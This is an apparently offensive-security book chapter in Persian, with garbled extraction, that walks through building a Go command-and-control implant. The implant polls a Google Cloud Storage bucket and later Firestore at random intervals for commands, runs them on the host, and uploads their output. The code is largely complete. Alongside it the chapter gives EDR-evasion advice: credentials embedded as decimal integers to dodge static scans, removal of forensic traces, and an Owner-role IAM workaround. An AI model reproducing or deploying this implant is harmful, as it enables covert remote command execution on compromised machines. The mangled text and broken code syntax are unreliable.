 فایل. باشممممید  خودتان  تایپ به نیاز بدون روپیش کد اجرای آماده و کنید اسممممتخراج پوشممممه یک در  را هافایل  این  توانیدمی

go.mod ماژول  سممیسممتم از بخشممی  دانلود در موجود Go  توانیدمی. اسممت  بسممته  مدیریت برای go.mod فایل مانند را 

requirements.txt  نسمخه  همچنین و شمما هایوابسمتگی هاینسمخه:  بگیرید نظر  در  پایتون  Go سماخت برای شمدهاسمتفاده 

 .کندمی پین را پروژه

 .است جدا شما فردی go. هایفایل در بسته هاینام از go.mod در ماژول نام توجه

 :کرد خواهید استفاده فصل هر هایآزمایشگاه در کد هایمثال اجرای برای زیر هایفرمان از عمدتا   شما

go mod init modulename // Initiates a namespace 

go mod tidy // Removes and adds dependencies as you update your .go file 

go get // Downloads missing items between .go and the go.mod file 

go run filename // Runs in interpreted mode 

go build filename // Compiles to the host system architecture (PE or ELF) 

. کنیمد  بررسمممممی  go.mod  در  را  مماژول  نمام  بمایمد  کنیمد،  دانلود  خود  محلی  میزبمان  روی  را  مما  همایفمایمل  کنیمدمی  انتخماب  اگر

 go get  آن،  از  پس.  دهدمی کاهش را نام  فضمای  زمینه  از ناشمی خطاهای شمانس go mod init modulename  اجرای

 هاوابستگی چون کنیم،می توصیه را  دانلود روش ما.  کردیدمی  اجرا  اجرا شروع برای  را  go run filename.go سپس و

 خطایی هر  یابیعیب آماده کنید،  تایپ  تمرین  برای ابتدا  از  کنیدمی  انتخاب اگر  حال،  این  با.  اندشمده پین قبل  از Go نسمخه و

 .شودمی ایجاد هابسته آخرین با نسخه تعارض دلیلبه زمان طول در که باشید

 پایه  ایمپلنت  کد  نوشتن
  یک  شممامل  1-4  فهرسممت  در  ایمپلنت  تکرار. برسممید کد به  نهایت  در  توانیدمی  شممما،  IAM  مجوزهای و سممبد  اندازیراه با

 .است پایه  بسیار  کلاینت

package main 

import  ( 

″bufio″ 

″context ″ 

″fmt ″ 
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″io ″ 

″math/rand ″ 

″os″ 

″os/exec″ 

″strings ″ 

″time ″ 

″cloud.google.com/go/storage″ 

) 

// Set auth state from JSON service account GCP. 

func init { )( 

os.Setenv(″GOOGLE_APPLICATION_CREDENTIALS″, ″FILENAME-SVC-ACC.json″) // Type 
filepath. 1 

} 

// uploadFile uploads an object . 

func uploadFile(bucket, object string) error  { 

// bucket := ″bucket-name″ 

// object := ″object-name″ 

ctx := context.Background )( 

client, err := storage.NewClient(ctx) 

if err != nil  { 

return fmt.Errorf(″storage.NewClient: %v″, err) 

} 

 

defer client.Close)( 

// Open local file. 

f, err := os.Open(″./output.txt″) 
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if err != nil  { 

return fmt.Errorf(″os.Open: %v″, err) 

} 

defer f.Close)( 

ctx, cancel := context.WithTimeout(ctx, time.Second*50) 

defer cancel )( 

o := client.Bucket(bucket).Object(object) // Client 2 

// Upload an object with storage.Writer. 

wc := o.NewWriter(ctx) 

if _, err = io.Copy(wc, f); err != nil  { 

return fmt.Errorf(″io.Copy: %v″, err) 

} 

if err := wc.Close(); err != nil  { 

return fmt.Errorf(″Writer.Close: %v″, err) 

} 

return nil 

} 

// No return needed 

func runBin(cmdbin string, cmdarg string)   { 

// arguments 

// cmdbin := ″whoami ″ 

// cmdarg  ″″ =: 

// cmd := exec.Command(″ls″, ″-lah″) 3 

// command constructor 

arg_len := len(cmdarg) 

if arg_len < 1  { 
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cmd := exec.Command(cmdbin) 

// Open the outfile for writing . 

outfile, err := os.Create(″./output.txt″) 

if err != nil  { 

panic(err) 

} 

defer outfile.Close )( 

stdoutPipe, err := cmd.StdoutPipe)( 

if err != nil  { 

panic(err) 

} 

writer := bufio.NewWriter(outfile) 

defer writer.Flush)( 

err = cmd.Start )( 

if err != nil  { 

panic(err) 

} 

go io.Copy(writer, stdoutPipe) 

cmd.Wait )( 

} 

if arg_len > 0  { 

cmd := exec.Command(cmdbin, cmdarg) 

// Open the outfile for writing . 

outfile, err := os.Create(″./output.txt″) 

if err != nil  { 

panic(err) 



Evasion Engineering  Apsec.ir  )مهندسی فرار( 

 داده پردازی آرین پایش  
97 

} 

defer outfile.Close )( 

stdoutPipe, err := cmd.StdoutPipe)( 

if err != nil  { 

panic(err) 

} 

writer := bufio.NewWriter(outfile) 

defer writer.Flush)( 

err = cmd.Start )( 

if err != nil  { 

panic(err) 

} 

go io.Copy(writer, stdoutPipe) 

cmd.Wait )( 

} 

} 

// Specify the input file single-line command return string. 4 

func readCmd(inputfilename string) string  { 

file_input, _ := os.ReadFile(inputfilename) 

cmd_str := string(file_input) 

stripped_cmd := strings.TrimSuffix(cmd_str, ″\r\n″) 

return stripped_cmd 

} 

// Ingest input.txt for parsing through readCmd and runBin. 5 

func downloadFile(bucket, object string, destFileName string) error   { 

// bucket := ″bucket-name″ 
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// object := ″object-name″ 

// destFileName := ″file.txt ″ 

ctx := context.Background )( 

client, err := storage.NewClient(ctx) 

if err != nil  { 

return fmt.Errorf(″storage.NewClient: %v″, err) 

} 

defer client.Close)( 

ctx, cancel := context.WithTimeout(ctx, time.Second*50) 

defer cancel )( 

f, err := os.Create(destFileName) 

if err != nil  { 

return fmt.Errorf(″os.Create: %v″, err) 

} 

rc, err := client.Bucket(bucket).Object(object).NewReader(ctx) 

if err != nil  { 

return fmt.Errorf(″Object(%q).NewReader: %v″, object, err) 

} 

defer rc.Close )( 

if _, err := io.Copy(f, rc); err != nil  { 

return fmt.Errorf(″io.Copy: %v″, err) 

} 

if err = f.Close(); err != nil { 

return fmt.Errorf(″f.Close: %v″, err) 

} 

return nil 
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} 

func main { )( 

// Main function section 6 

// Bucket and object details 

var bucket string = ″YOURBUCKET″ 

var object_input string = ″input.txt ″ 

var object_output string = ″output.txt ″ 

// Find a random seeded polling period 1 and 10 seconds 7 

var maxsec int = 10 

var minsec int = 1 

rand.Seed(time.Now().UnixNano()) 

random_sec := (rand.Intn(maxsec-minsec) + minsec) 

// Sleep for random time in secs and poll the bucket for input.txt. 

// Setting for loop with stop conditions for emergencies. Remove conditions for 

infinite loop. 

var cycle int = 0 

for i := 0; i < 2; i { ++ 

time.Sleep(time.Duration(random_sec) * time.Second) 

cycle += i 

fmt.Println(″cycle: ″, cycle) 

fmt.Println(″cmdfile to parse: ″, object_input) 

fmt.Println(″outputfile to check: ″, object_output) 

downloadFile(bucket, ″input.txt″, ″input.txt″) // Stage to disk demo only if 

you want in pure memory DIY. 

run_cmd := readCmd(object_input) 

runBin(run_cmd, ″″) // Use null string for no argument commands . 



Evasion Engineering  Apsec.ir  )مهندسی فرار( 

 داده پردازی آرین پایش  
100 

uploadFile(bucket, object_output) // Return results to view in GCP storage . 

os.Remove(″input.txt″) // Clean up file on each iteration vs. signal 

run on exit. 

} 

\ 

} 

// Run go get cloud.google.com/go/storage if doing from scratch. 

 GCP سازیذخیره  سبد از استفاده با Go پایه ایمپلنت کلاینت: 1-4 فهرست

 کد این کامپایل یا اجرا  از قبل( سمبد نام و  JSON دسمترسمی کلید  فایل نام شمامل) 1  خودتان  مقادیر با  را  هاجایگزین باید شمما

 .دهید  تغییر

  بیشمتر  و  کنیدمی  شمروع  SDK GCP هایبسمته  از  اسمتفاده با GCP 2 سمازیذخیره سمبد به سماده  کلاینت  یک  ایجاد  با شمما

 برای شمما هویت  احراز کلید عنوانبه  شمدهارجاع  JSON فایل.  کنیدمی  واگذار بسمته موجود هایقابلیت به را اسمتثنا  مدیریت

 .کندمی عمل پروژه به دسترسی

  کند می  ایجاد WinAPI  سممیسممتمی  هایفراخوان از اسممتفاده  با  را فرایندها  که  کند،می اسممتفاده exec 3 Go  بسممته از کد  این

 نمه  رسمممممدمی  نظر  بمه  عمادی  برنماممه انمدازیراه  یمک  مماننمد  فراینمد اجرای  نتیجمه،  در. bash  یما  cmd.exe انمدازیراه جمایبمه

 .شود مخلوط دیگری فرایند هر  مانند دقیقا   کندمی  کمک  ایمپلنت به و اسکریپت، اجرای

 سمممممبمد  در  output.txt  فمایمل  یمک  و  کننمدمی  تجزیمه  را  input.txt  فمایمل  هر  محتویمات  فرممان  اجرای  و  خوانمدن  توابع

 .4 کنندمی ایجاد اتمام از پس سازیذخیره

 و خوانندمی GCP سممممازیذخیره سممممبد از و  به  اشممممیاس  عنوانبه  را هافایل  که دارند  قرار آپلود و  دانلود  توابع  این، از پس

 .شوند  دانلود دیسک به شیس  از جزئیات استخراج  از  قبل باید هستند، سازیذخیره هایblob  هااین  که آنجا  از.  5  نویسندمی

 شمرایط و کندمی ردیابی و هماهنگ نظرسمنجی بازه هر برای را خطا وضمعیت ،6  اسمتاندارد main تابع شمما،  تابع  آخرین

 برای باید هافایل  این  سمممازی،ذخیره هایblob  ماهیت  دلیلبه هم، باز. کندمی  مدیریت را  اجراشمممده فرمان  هر برای خروج

 پاکسممازی برای main تابع پایان در هاآن  مورد، این  در. شمموند حذف اسممتفاده  از  پس و شمموند  دانلود  دیسممک  به پردازش

 .شوندمی حذف هدف میزبان

 توانیدمی. 7 اسممت شممده تنظیم ثانیه 10 و  1  بین  تصممادفی  تأخیر یک با چرخه  دو روی فقط فرضپیش  ایمنی  که  کنید توجه

 .کنید استفاده تولید در ایمپلنت تکرار این از  کنیدمی انتخاب اگر دهید  تغییر یا دهید گسترش را هااین

 :کنید اجرا را زیر موارد خود عاملسیستم به بسته خود، محلی ترمینال در حالا،

 %echo ′ls -lah′ > input.txt # macOS and Linux users 

 >echo ″tasklist″ > input.txt # Windows users 
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-4  شمکل در که طورهمان کنید، آپلود(  ایزیرپوشمه هیچ در نه)  GCP  سمازیذخیره سمبد  ریشمه در  را خود input.txt فایل

  داشمته توجه. اسمت نظرسمنجی  هایچرخه  بین  ایمپلنت  به هافرمان  ارسمال نحوه فایل  آپلود فرایند این.  اسمت شمده  داده نشمان  15

 .کند بازیابی را هاآن ایمپلنت تا کنیدمی آپلود یادداشت دفترچه به را خود هایفرمان شما که باشید

 

 Cloud Storage در سبد اشیاس فهرست:  15-4 شکل

.  دارد   هاییمحدودیت  که  کند،می اسممتفاده  رشممته تجزیه  برای strings Go بسممته از کد  این کامل، پوسممته مفسممر  یک  جایبه

 اسممت ممکن که زمان  هر جدید خطوط دسممتی  کردن  اضممافه یا)<<(   الحاق مسممیر  تغییر  مانند پوسممته نحو از  اسممتفاده از باید

 و  هماpipe  مماننمد  خماص  کماراکترهمای  چون  بماشمممممیمد  پمایبنمد خمالی فضمممممای  بما  شمممممده جمدا  پمایمه  همایآرگوممان  بمه و  کنیمد،  اجتنماب

 .شد نخواهند مدیریت درستیبه نسخه این در قولنقل هایعلامت

 برای  اگرچه.  کنیدمی مسمتقر هدف میزبان یک روی را  آن  گویی کنید سمازیشمبیه  را  ایمپلنت  اجرای که اسمت  آن وقت حالا

 ترافیک  پایش برای  را  tcpdump یا Wireshark  کنیممی توصممیه همیشممه ما  نیسممت، لازم ما  هایآزمایشممگاه  از  یکهیچ

 .کنید اجرا آزمایش طول در شبکه

 ترمینال در. اندشمده  روزرسمانیبه  محتویات و شمماسمت کد پوشمه همان در شمما سمرویس حسماب  JSON فایل  که شموید  مطمئن

 :کنید اجرا را زیر هایفرمان ،Go هایفایل بودن آماده با خود،

 %go mod init goslowc2-mvp 

 %go mod tidy 

 %go get 

 %go run goslowc2-mvp 

 :چرخه تعداد به  بسته  ببینید، زیر مشابه خروجی باید بود، موفق چیز همه اگر

Cycle: 0 

Command file: input.txt 

Output file: output.txt 

  باید   اول،  چرخه  از  پس. بروید کردید  آپلود  آن  در  را input.txt  که سبدی  به  و بازگردید  خود  Google Cloud کنسول  به

output.txt پوشممه  یک و status  را  16-4  شممکل)  ببینید دهدمی نشممان  را  نظرسممنجی بین  اجرا  زمان هر  وضممعیت که 

 (.ببینید
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 سازیذخیره سبد محتویات مشاهده: 16-4 شکل

output.txt (:دارد  بستگی شما عاملسیستم به دقیق قالب)  ببینید زیر مشابه هاییفهرست باید و کنید، باز و دانلود را 

 #output.txt 

total 80 

drwxr-xr-x 7 foo.bar staff 224B Dec 28 00:25  . 

drwxr-xr-x@ 18 foo.bar staff 576B Dec 28 00:21  .. 

-rw-r--r-- 1 foo.bar staff 2.3K Dec 28 00:23 bucket-sa-key.json 

-rw-r--r-- 1 foo.bar staff 2.7K Dec 28 00:23 go.mod 

-rw-r--r-- 1 foo.bar staff 19K Dec 28 00:23 go.sum 

-rw-r--r-- 1 foo.bar staff 5.6K Dec 28 00:23 goslowc2-mvp-1.0.go 

-rw-r--r-- 1 foo.bar staff 7B Dec 28 00:25 input.txt 

 خروجی  هممان:  ببینیمد  را  فرممان  اجرای  جزئیمات  تما  کنیمد  بماز  خود  GCP  سمممممبمد  در  را  status  پوشمممممه  توانیمدمی  همچنین

output.txt، قالب در شدهذخیره  وضعیت و زمانی مُهر اطلاعات  همچنین و JSON. 

 ایمپلنت  کاریپنهان و استفاده قابلیت بهبود 
 استفاده قابلیت  اولی.  دارد وجود رسیدگی  برای مسائل  برخی  اما یابد،می دست پایه قابلیت  با  MVP یک  هدف  به  ایمپلنت  این

 حتی. اسمت برانگیزچالش نظرسمنجی هایچرخه بین GCP  سمازیذخیره سمبد به جدید  فرمان  هایرشمته آپلود و  سماختن. اسمت

  بماند،  سمممبد در طولانی حد  از  بیش  input.txt  اگر  کند،می ردیابی  را  نظرسمممنجی بازه هر که JSON status  پوشمممه با

  فمایمل یمک  بمارگمذاری  نیمازمنمد  سمممممرویس حسممممماب  کلیمد دوم،. دهمدمی  اداممه مکرر طوربمه فرممان هممان اجرای  بمه  فقط  ایمپلنمت

 تشمممخیص بدون فایل چندین مدیریت هسمممتید، اولیه ایمپلنت درج یا میزبان یک از برداریبهره حال در اگر. اسمممت  خارجی

 افزایش  هاآن  فوری  حذف  سمپس و دیسمک روی  هافایل  نوشمتن با  را خود  قانونی پزشمکی ردپای شمما  نهایت،  در. اسمت نادر

 .کند فعال را حساس هایسیاست با هاEDR برخی است ممکن که دهید،می

 سمممممطح در  JSON بر  مبتنی  جدیدتر محصمممممول  یک  کنیمد،  حل GCP Firestore به  تغییر  با  را هااین از برخی  توانیمدمی

 بر  علاوه. اسمممممت شمممممده طراحی  Firebase  فنماوری از  اسمممممتفماده  بما  واقعی زممان  بمه  نزدیمک  همایبرنماممه برای کمه  رایگمان
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 از  اسمتفاده  با  هافایل  دانلود از  پویاتر  صمورتبه را  فرمان خروجی  دهدمی اجازه شمما  به Firestore هزینه،  در  جوییصمرفه

GCP storage روی فقط  اقمدام  و حمالمت بر صمممممحیح  نظمارت برای را  سممممماختمار بمایمد حمال، این  بما. کنیمد  مشممممماهمده  و وارد 

 هنگمام  را  تریدقیق  ردیمابی  همچنین  داده  پمایگماه  یمک  بمه  انتقمال.  کنیمد  ایجماد  هماهممان  مکرر  اجرای  جمایبمه  جمدیمد  همایفرممان

 .سازدمی ممکن مختلف هایمیزبان در ایمپلنت اجرای چندین  مدیریت

 یک سمممازیپیاده و آن کامپایل از قبل کد  در خود  اسمممرار  دادن  قرار بد  شمممیوه به باید  چندفایلی، اسمممتقرار مسمممئله  حل برای

 خطر  امتیاز  اسمت  ممکن شمبکه  هایسموکت  از اسمتفاده و  رمزنگاری توابع  فراخوانی. شموید  متوسمل سمازیمبهم برای  مکانیزم

EDR  کاراکترهای  انواع  همه  شامل  که  رایج  کمتر  هایرمزگذاری  از  شما  این،  کاهش  برای.  دهد  افزایش  نیز  فرایند  برای  را 

UTF-8  جزبه Base64 یا hex شوند شناسایی ایستا هایاسکن در توانندمی دو هر که کرد، خواهید استفاده  هستند. 

 Firestore مجوزهای  پیکربندی
 اسمتفاده سمازیذخیره سمبد اندازیراه  برای که  فرایندی همان از  خود،  ایمپلنت برای  Firestore  مجوزهای  اندازیراه برای

 :کنیدمی استفاده کردید

 .باشد  API Firestore  برای  ایجاد و نوشتن،  خواندن، مجوزهای تمام  شامل که کنید  ایجاد  جدید سفارشی  IAM نقش یک.  1

 .کنید ایجاد  میانی  ایمپلنت قابلیت برای جدید سرویس حساب یک. 2

 .کنید صادر و ایجاد جدید سرویس حساب برای را JSON کلید. 3

 .دهید اختصاص سرویس حساب به را خود سفارشی نقش و بروید IAM & Admin زیر در IAM ماژول به. 4

  معتقدیم   ما. شمودنمی شمامل  را Firestore مجوز API  هاینام همه Google Cloud  کنسمول مطلب،  این  نوشمتن زمان  در

  Owner نقش از  کنیممی توصمیه ما. اسمت  نشمده رسمیدگی محصمول بودن جدید  دلیلبه که اسمت  GCP  سممت در باگ  یک  این

 حالت با  را زیر موارد  توانیدمی  تنظیمات،  این  بیشممتر کردن  محدود برای.  کنید اسممتفاده آزمایش  برای  مجوزها  برای  داخلی

 :کنید استفاده Firestore  بومی

datastore.databases.create datastore.databases.get 

datastore.databases.list datastore.entities.get 

datastore.entities.list datastore.entities.create 

datastore.entities.update datastore.indexes.get 

datastore.indexes.list datastore.indexes.create 

 IAM ماژول  درون سمرویس حسماب به Owner  نقش  اختصماص ناامن  حلراه  از  توانیدمی شمدید، روبرو مسمئله  این با اگر

 .است شده داده نشان 17-4 شکل در که طورهمان  کنید، استفاده
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 Firestore و سرویس هایحساب برای GCP IAM در Owner مجوزهای موقت حلراه : 17-4 شکل

 CLI  از اسممتفاده با را نقش  توانیدمی بعدا ،.  کنندمی کار  آزمایشممگاه طول  در کد با مجوزها که  کندمی تضمممین  رویکرد  این
GCP در Cloud Shell دهید کاهش. 

  حسماب  و  کنیدمی ایمن  را خود  سمرویس حسماب  JSON کلید که  شموید مطمئن  کنید،می  اسمتفاده موقت  حلراه این  از اگر توجه

 .کنید غیرفعال و فعال آزمایشگاه طول در نیاز صورت در را  سرویس

 Firestore کردن اضافه و هااعتبارنامه جاسازی
 کلید  ایمپلنت،  یک اسممممتقرار محضبه که کنید فرض باید. کنیم  شممممروع  اجرا زمان و سمممماخت در  چندفایلی  مسممممئله با  بیایید

 JSON کلید  فایل  حذف برای. شمممود بازتولید و  لغو بعدی  کمپین  از قبل باید و اسمممت افتاده  خطر به حالا  شمممما دسمممترسمممی

  مانند   اعشماری  نمایش. کرد خواهید  جاسمازی  اعشماری  رمزگذاری از  اسمتفاده  با کد  در  مسمتقیما   را هااعتبارنامه شمما  جداگانه،

hex تحلیل  ابزارهای  توسممط کمتر اما اسممت،  آسممان  مختلف کاراکتری  هایمجموعه در  آن سممازیپیاده که نظر  این از اسممت 

 .شودمی شناخته  Base64 یا hex به  نسبت خودکار

 اسمتفاده قابل  شمدهرمزگذاری سماختار یک به  خود  سمرویس حسماب  JSON کلید تبدیل برای  کمکی  اسمکریپت یک باید ابتدا،

 :کنید ایجاد

 .کنید پیدا فصل این goslowc2-firestore-1.1 والد پوشه درون را  json2dec-encoder زیرپوشه. 1

 .کنید کپی زیرپوشه این در را( کافی Firestore یا مدیر مجوزهای با) خود سرویس حساب JSON کلید. 2

 :کنید اجرا را رمزگذاری هایفرمان هستید، زیرپوشه در هنوز که حالی در. 3

 #If you downloaded the folder, you can remove go.mod to prevent an error . 

go mod init json2dec-encoder 

go mod tidy 
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 #Ensure your JSON file is renamed to the following. 

 #Ensure your JSON file is named firestore-sa-key.json . 

go run ./json2dec-encoder-file.go 

 از استفاده. ببینید json2dec-encoder زیرپوشه در را encoded_output.txt فایل تا کنید بازخوانی حالا. 4

 شدهرمزگذاری  هایاعتبارنامه. کندمی ترآسان بندیقالب  مسائل ایجاد بدون را پیست و کپی stdout جایبه  فایل خروجی

 :شوند شروع قالب این با باید شما

encoded := []int { 

123 ,10 ,32  ,32  ,23 ,116 ,121 ,112 ,08 ,34  ,58  ,32 , 

34  ,115 ,101 ,114  ,118  ,105 ,00 ,101 ,11 ,97 ,99 ,99 , 

--snip -- 

 JSON بار  کل و  بروید بالا  goslowc2-firestore-1.1 پوشمممه  در سمممطح  یک  خود، کد  ویرایشمممگر یا  ترمینال  در حالا،

 از تا کنید توجه  موقعیت و  گذاریفاصله به)  کنید  گذاریجای)(  getCredentialJSON تابع  درون  را خود  شدهرمزگذاری

 (:کنید جلوگیری پایانی  براکت  بازنویسی

func getCredentialsJSON() string  { 

//  ========================================== 

// PASTE THE CONTENTS OF encoded_output.txt HERE 

// ========================================== 

encoded := []int{ 

// BEGIN EXAMPLE... 

00 ,10 ,32 ,32 ,34 ,116 ,121 ,112 ,101 ,34 ,58 ,32, 

34 ,115 ,101 ,114 ,118 ,105 ,99 ,101 ,95 ,97 ,99 ,99, 

111 ,117 ,110 ,99 ,34 ,44 ,10 ,32 ,32 ,34 ,112 ,00, 

// ...END EXAMPLE. 

} 
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 فرمان ردیابی هایقابلیت و  ،Firestore  یکپارچگی شممممده،جاسممممازی هایاعتبارنامه با  کامل سممممازیپیاده  2-4  فهرسممممت

 .دهدمی نشان را  بهبودیافته

package main 

import  ( 

″context ″ 

″fmt ″ 

″math/rand ″ 

″os″ 

″os/exec″ 

″runtime ″ 

″strings ″ 

″time ″ 

″cloud.google.com/go/firestore″ 

) 

// Configuration variables 

const  ( 

PROJECT_ID = ″YOUR-PROJECT-ID ″ 

DATABASE_ID = ″FIRESTORE-DB-NAME″ 

CYCLES = 10 // More cycles to test with 

MIN_SLEEP_TIME = 15 // 15 seconds minimum 

MAX_SLEEP_TIME = 30 // 30 seconds maximum 

) 

func getCredentialsJSON() string  { 

//  ========================================== 

// PASTE THE CONTENTS OF encoded_output.txt HERE . 
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//  ========================================== 

encoded := []int { 

// BEGIN EXAMPLE ... 

00  ,10  ,32 ,32 ,34  ,116  ,121 ,112  ,101 ,34  ,58  ,32 , 

34  ,115 ,101 ,114  ,118  ,105 ,99 ,101 ,95 ,97 ,99 ,99 , 

111 ,117  ,110 ,99  ,34  ,44 ,10 ,32  ,32 ,34 ,112  ,00 , 

//  ...END EXAMPLE . 

} 

//  ========================================== 

// Convert back to string. 

chars := make([]rune, len(encoded)) 

for i, num := range encoded { 

chars[i] = rune(num) 

} 

return string(chars) 

} 

type Command struct  { 

ID string `firestore:″id ̀″ 

Command string `firestore:″command ̀″ 

Status string `firestore:″status″` // Pending, running, completed, failed 

Output string `firestore:″output`″ 

CreatedAt time.Time `firestore:″created_at ̀″ 

ExecutedAt time.Time `firestore:″executed_at ̀″ 

AgentID string `firestore:″agent_id`″ 

Error string `firestore:″error,omitempty ̀″ 

} 
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var agentID string 

func init { )( 

// Create temporary credentials file. 

tmpFile, err := os.CreateTemp(″″, ″svc-*.json″) 

if err != nil  { 

panic(fmt.Sprintf(″Failed to create temp file: %v″, err)) 

} 

// Write decoded credentials to temp file. 

if _, err := tmpFile.WriteString(getCredentialsJSON()); err != nil  { 

tmpFile.Close)( 

os.Remove(tmpFile.Name()) 

panic(fmt.Sprintf(″Failed to write credentials: %v″, err)) 

} 

tmpFile.Close)( 

// Set environment variable to temp file. 

os.Setenv(″GOOGLE_APPLICATION_CREDENTIALS″, tmpFile.Name()) 

// Schedule cleanup of temp file on exit. 

go func { )( 

time.Sleep(1 * time.Second) // Give time for client init . 

os.Remove(tmpFile.Name()) 

 )(} 

agentID = fmt.Sprintf(″agent-%d-%d″, time.Now().Unix(), rand.Int()) 

} 

func getFirestoreClient() (*firestore.Client, error) { 

ctx := context.Background )( 

client, err := firestore.NewClientWithDatabase(ctx, PROJECT_ID, DATABASE_ID) 
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if err != nil  { 

return nil, fmt.Errorf(″failed to create firestore client: %v″, err) 

} 

return client, nil 

} 

func createInitialSchema(client *firestore.Client) error  { 

ctx := context.Background )( 

// Determine OS-specific command . 

var defaultCmd string 

if runtime.GOOS == ″windows { ″ 

defaultCmd = ″dir ″ 

 }else { 

defaultCmd = ″ls -lah ″ 

} 

// Create initial documents . 

 ,_err := client.Collection(″commands″).Doc(″schema″).Set(ctx, Command { 

ID: ″schema,″ 

Command ,″″ : 

Status: ″completed,″ 

Output,″″ : 

CreatedAt: time.Now,)( 

AgentID: ″schema,″ 

 )} 

if err != nil  { 

return fmt.Errorf(″failed to create schema: %v″, err) 

} 
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// Create a default command. 

 ,_err = client.Collection(″commands″).Doc(″default-cmd″).Set(ctx, Command { 

ID: ″default-cmd,″ 

Command: defaultCmd, 

Status: ″pending,″ 

Output,″″ : 

CreatedAt: time.Now,)( 

AgentID ,″″ : 

 )} 

if err != nil  { 

return fmt.Errorf(″failed to create default command: %v″, err) 

} 

return nil 

} 

func getNextCommand(client *firestore.Client) (*Command, *firestore.DocumentRef, 
error)  { 

ctx := context.Background )( 

query := client.Collection(″commands″).Where(″status″, ″==″, ″pending″) 

docs, err := query.Documents(ctx).GetAll )( 

if err != nil  { 

return nil, nil, fmt.Errorf(″failed to query commands: %v″, err) 

} 

if len(docs) == 0   { 

return nil, nil, nil 

} 

// Take first pending command . 
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doc := docs[0 ] 

var cmd Command 

// Only expect command and status to exist in document. 

data := doc.Data )( 

cmd.Command = data[″command″].(string) 

cmd.Status = data[″status″].(string) 

// Fill in the rest . 

cmd.ID = doc.Ref.ID 

cmd.AgentID  ″″ = 

if _, exists := data[″created_at″]; !exists  { 

cmd.CreatedAt = time.Now)( 

} 

return &cmd, doc.Ref, nil 

} 

func updateCommandStatus( 

client *firestore.Client, 

docRef *firestore.DocumentRef, 

cmd *Command) error { 

ctx := context.Background )( 

// Convert command struct to map for update . 

updateData := map[string]interface {}{ 

″status″: cmd.Status, 

″output″: cmd.Output , 

″agent_id″: cmd.AgentID , 

″error″: cmd.Error , 

″executed_at″: cmd.ExecutedAt , 
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} 

 ,_err := docRef.Set(ctx, updateData, firestore.MergeAll) 

if err != nil  { 

return fmt.Errorf(″failed to update command: %v″, err) 

} 

return nil 

} 

func runCommand(command string) (string, error)   { 

parts := strings.Fields(command) 

if len(parts) == 0   { 

return ″″, fmt.Errorf(″empty command″) 

} 

cmd := exec.Command(parts[0], parts[1:]...) 

output, err := cmd.CombinedOutput)( 

if err != nil  { 

return string(output), fmt.Errorf(″command execution failed: %v″, err) 

} 

return string(output), nil 

} 

func main { )( 

client, err := getFirestoreClient )( 

if err != nil  { 

fmt.Printf(″Failed to initialize Firestore: %v\n″, err) 

return 

} 

defer client.Close)( 
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// Create initial schema and default command . 

if err := createInitialSchema(client); err != nil   { 

fmt.Printf(″Warning: Schema initialization error: %v\n″, err) 

// Continue anyway as schema might already exist 

} 

fmt.Printf(″Agent ID: %s\n″, agentID) 

fmt.Printf(″Running on OS: %s\n″, runtime.GOOS) 

for i := 0; i < CYCLES; i { ++ 

sleepTime := time.Duration(rand.Intn(MAX_SLEEP_TIME-
MIN_SLEEP_TIME+1)+MIN_SLEEP_TIME)  * 

time.Second 

fmt.Printf(″Waiting %v seconds before next cycle...\n″, sleepTime.Seconds()) 

time.Sleep(sleepTime) 

fmt.Printf(″Cycle: %d\n″, i) 

// Get next command. 

cmd, docRef, err := getNextCommand(client) 

if err != nil  { 

fmt.Printf(″Error getting next command: %v\n″, err) 

continue 

} 

if cmd == nil  { 

fmt.Println(″No pending commands found″) 

continue 

} 

// Mark as running . 

cmd.Status = ″running ″ 
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cmd.AgentID = agentID 

cmd.ExecutedAt = time.Now)( 

err = updateCommandStatus(client, docRef, cmd) 

if err != nil  { 

fmt.Printf(″Error updating command status: %v\n″, err) 

continue 

} 

// Execute command . 

output, err := runCommand(cmd.Command) 

if err != nil  { 

cmd.Status = ″failed ″ 

cmd.Error = err.Error )( 

 }else { 

cmd.Status = ″completed″ 

} 

cmd.Output = output 

// Update final status. 

err = updateCommandStatus(client, docRef, cmd) 

if err != nil  { 

fmt.Printf(″Error updating final status: %v\n″, err) 

} 

} 

} 

 Firestore داده پایگاه و شدهجاسازی JSON سرویس حساب کلید با بهبودیافته  ایمپلنت: 2-4 فهرست

 .کنید ایمن دوباره را خود سرویس حساب کلید و کنید حذف را encoded_output.txt فایل شد، کامل این که  هنگامی
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 سمازیمبهم را هااعتبارنامه سمادگیبه شمما  ندارد، وجود کلیدی که آنجا  از  نگیرید؛  اشمتباه رمزنگاری با را  رمزگذاری توجه

  آن و آورندمی دسممت  به را  باینری  نهایت  در مدافعان کنید فرض باید که  اسممت  این  رمزنگاری  از اسممتفاده  عدم  دلیل.  کنیدمی

 .دهندمی قرار دسترس در تحلیل برای گسترده طوربه را آن و کنند،می آپلود اسکنر یا sandbox هر به را

 .حالت ضبط برای داده پایگاه ایجاد: دارید دیگر مرحله یک اسکریپت، اجرای از قبل

 

 Firestore داده پایگاه ایجاد
 Create a Firestore روی سممپس و کنید وارد جسممتجو جعبه در  را Google Cloud،  firestore کنسممول درون  از

Database  ویزارد  بمه  را  شممممممما  کمه  کنیمد،  کلیمک  Create Database  حمالمت.  کنمدمی  همدایمت  Firestore Native  را 

. اسممت شممده  داده نشممان  18-4  شممکل در که طورهمان کنید،  وارد را خود نظر مورد منطقه و  داده  پایگاه نام و کنید  انتخاب

 .بمانند باقی  هستند که طورهمان توانندمی  دیگر  تنظیمات تمام

 

 Firestore در  Create Database ویزارد: 18-4 شکل

 هیچ بدون  را خود  داده  پایگاه که جایی بازگردید، Firestore  اصمملی  صممفحه  به تا  کنید  کلیک  Create Database روی

 .دید خواهید فعال شدهبندیزمان  گیریپشتیبان

 ایمپلنت اجرای و   آزمایش
 :ایدکرده روزرسانیبه را زیر  پیکربندی متغیرهای که شوید مطمئن خود، ایمپلنت اجرای از قبل

// Configuration variables 

const  ( 

PROJECT_ID = ″YOUR-PROJECT-ID ″ 

DATABASE_ID = ″FIRESTORE-DB-NAME″ 
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CYCLES = 10 // More cycles to test with 

MIN_SLEEP_TIME = 15 // 15 seconds minimum 

MAX_SLEEP_TIME = 30 // 30 seconds maximum 

--snip -- 

 :کنید اجرا زیر استاندارد هایفرمان با را ایمپلنت کد، شده سازیصحنه و آماده با حالا،

 %go mod tidy 

 %go run ./goslowc2-firestore-1.1.go 

 به  واقعی، زمان  در فرمان  اجرای پایش برای.  دید خواهید زداییاشممکال  اهداف  برای را پایه  وضممعیت هایپیام  ترمینال،  در

